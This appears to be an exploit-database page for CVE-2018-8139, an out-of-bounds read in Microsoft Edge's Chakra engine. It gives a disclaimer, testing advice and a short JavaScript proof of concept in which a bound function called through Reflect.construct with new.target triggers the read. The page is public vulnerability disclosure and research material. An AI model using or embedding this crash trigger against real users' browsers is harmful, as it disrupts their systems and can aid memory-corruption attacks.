Materialized exploit

CVE-2018-8139

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra JIT - BoundFunction::NewInstance Out-of-Bounds Read

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
BoundFunction::NewInstance is used to handle calls to a bound function. The method first allocates a new argument array and copies the prepended arguments and others into the new argument array and calls the actual function. The problem is, it doesn't care about the CallFlags_ExtraArg flag which indicates that there's an extra argument (new.target in the PoC) at the end of the argument array. So the size of the new argument array created with the CallFlags_ExtraArg flag will be always 1 less then required, this leads to an OOB read.

PoC:
*/

function func() {
    new.target.x;
}

let bound = func.bind({}, 1);

Reflect.construct(bound, []);